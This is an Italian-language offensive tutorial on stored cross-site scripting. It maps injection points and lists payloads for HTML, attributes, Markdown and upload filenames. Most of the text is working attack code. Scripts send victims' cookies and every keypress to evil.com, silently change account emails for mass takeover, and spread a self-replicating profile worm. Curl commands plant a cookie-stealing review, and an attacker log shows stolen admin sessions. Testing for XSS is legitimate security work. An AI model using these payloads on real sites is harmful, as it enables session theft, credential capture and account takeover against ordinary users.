XSS Stored (Persistent XSS): Exploit, Cookie Theft e Worm Web

# La regola: se un campo viene salvato nel database e poi mostrato
# in una pagina HTML → è un potenziale punto di XSS Stored.

# Punti classici ad alta probabilità:
Commenti / Recensioni       # Blog, e-commerce, forum
Messaggi chat               # Chat interne, supporto, ticketing
Profilo utente              # Nome, bio, indirizzo, "about me"
Nome file upload            # filename: "<img src=x onerror=alert(1)>.jpg"
Titolo di post/articoli     # CMS, piattaforme di contenuti
Campi di feedback/segnalazione  # "Descrivi il problema"
Note interne                # CRM, project management, HR tools

# Punti meno ovvi ma frequenti:
User-Agent                  # Loggato e mostrato nella dashboard admin
Referer header              # Loggato e mostrato nei report
Nome del dispositivo        # "iPhone di <script>alert(1)</script>"
Campo "azienda" o "ruolo"   # In directory interne
Indirizzo di spedizione     # Mostrato nella conferma ordine
Log delle ricerche          # Se l'admin visualizza le ricerche degli utenti
Webhook URL / callback      # Se mostrato in un pannello di configurazione

<!-- Commento, bio, nome: -->
<div>YOUR_INPUT</div>

<!-- Payload: -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

<!-- Nome utente dentro un attributo: -->
<span title="YOUR_INPUT">Username</span>

<!-- Payload: -->
" onmouseover=alert(1) style="position:fixed;width:100%;height:100%
" onfocus=alert(1) autofocus="

Molte piattaforme accettano Markdown o rich text nei commenti:

<!-- Markdown che genera tag HTML: -->
[Click me](javascript:alert(1))
![img](x" onerror="alert(1))
<details open ontoggle=alert(1)>test</details>

<!-- Editor WYSIWYG (TinyMCE, CKEditor): -->
<!-- Spesso hanno whitelist di tag ma dimenticano eventi: -->
<div contenteditable onblur=alert(1)>click here</div>

# Upload un file con nome malevolo:
filename: '"><img src=x onerror=alert(1)>.jpg'

# Quando la pagina mostra "File caricato: "><img src=x onerror=alert(1)>.jpg"
# Il tag img si inietta nell'HTML → XSS!

# In Burp: intercetta l'upload → modifica il filename nel multipart

// Ogni utente che visita la pagina → cookie inviato all'attaccante:
<script>
new Image().src='https://evil.com/c?c='+document.cookie+'&u='+location.href
</script>
// Il parametro &u= ti dice anche QUALE pagina l'utente stava visitando

<script>
document.addEventListener('keypress',function(e){
  fetch('https://evil.com/k',{method:'POST',body:JSON.stringify({
    key:e.key, page:location.pathname, time:Date.now()
  })})
})
</script>
// Cattura OGNI tasto premuto da OGNI utente che visita la pagina
// Incluse password inserite in form sulla stessa pagina

<script>
// Cambia l'email dell'utente → poi fai password reset → account takeover
fetch('/api/account/settings', {
  method: 'PUT',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
}).then(r => {
  // Log per conferma
  fetch('https://evil.com/ato', {method:'POST', body: 'email changed for ' + document.cookie})
})
</script>
// Ogni utente che visita → la sua email viene cambiata
// L'attaccante fa password reset → account takeover di massa

<script>
// Il worm si replica: modifica il profilo della vittima con lo stesso payload
var worm = '<script>'+document.currentScript.textContent+'<\/script>';
fetch('/api/profile', {
  method: 'PUT',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({bio: worm})
});
// Visitatore A legge il commento → il suo profilo viene infettato
// Visitatore B legge il profilo di A → anche B viene infettato
// Propagazione esponenziale → WORM
</script>

# Step 1: Mappa tutti i campi che vengono salvati
# Registra un account → compila OGNI campo con una stringa unica:
# Nome: hackita_name_xss7
# Bio: hackita_bio_xss7
# Commento: hackita_comment_xss7
# etc.

# Step 2: Visita ogni pagina dove quei campi potrebbero apparire
# - Il tuo profilo (visto da te)
# - Il tuo profilo (visto da altri → usa un secondo account)
# - La lista utenti (vista dall'admin)
# - La pagina del commento
# - L'email di notifica (se i campi appaiono nelle email)
# - Il pannello admin (dashboard, report, audit log)

# Step 3: Cerca la stringa nella response
# Se "hackita_name_xss7" appare senza encoding → potenziale XSS

# Step 4: Sostituisci con payload
# Primo test: <b>test</b> → se appare in bold → HTML interpretato → XSS probabile
# Secondo test: <img src=x onerror=alert(1)> → se alert appare → confermato!

# Salva un commento con payload:
$ curl -X POST "https://target.com/api/products/42/reviews" \
  -H "Authorization: Bearer USER_TOKEN" \
  -d '{"rating":5,"text":"Ottimo prodotto! <img src=x onerror=\"fetch(\\\"https://evil.com/c?\\\"+document.cookie)\">"}'

{"status":"Review published"}

# Un altro utente visita la pagina del prodotto:
# Il browser esegue il JavaScript → cookie inviato a evil.com

# Sul server dell'attaccante:
$ tail access.log
GET /c?session=eyJhbGciOiJIUzI1NiJ9...admin_session HTTP/1.1
GET /c?session=eyJhbGciOiJIUzI1NiJ9...user42_session HTTP/1.1
GET /c?session=eyJhbGciOiJIUzI1NiJ9...user43_session HTTP/1.1
# → Cookie di OGNI visitatore della pagina prodotto!

# Upload con filename malevolo:
$ curl -X POST "https://target.com/api/upload" \
  -H "Authorization: Bearer TOKEN" \
  -F 'file=@photo.jpg;filename="<img src=x onerror=alert(document.domain)>.jpg"'

{"status":"Uploaded","filename":"<img src=x onerror=alert(document.domain)>.jpg"}

# La pagina "File caricati" dell'admin mostra il filename → XSS eseguito nel browser admin!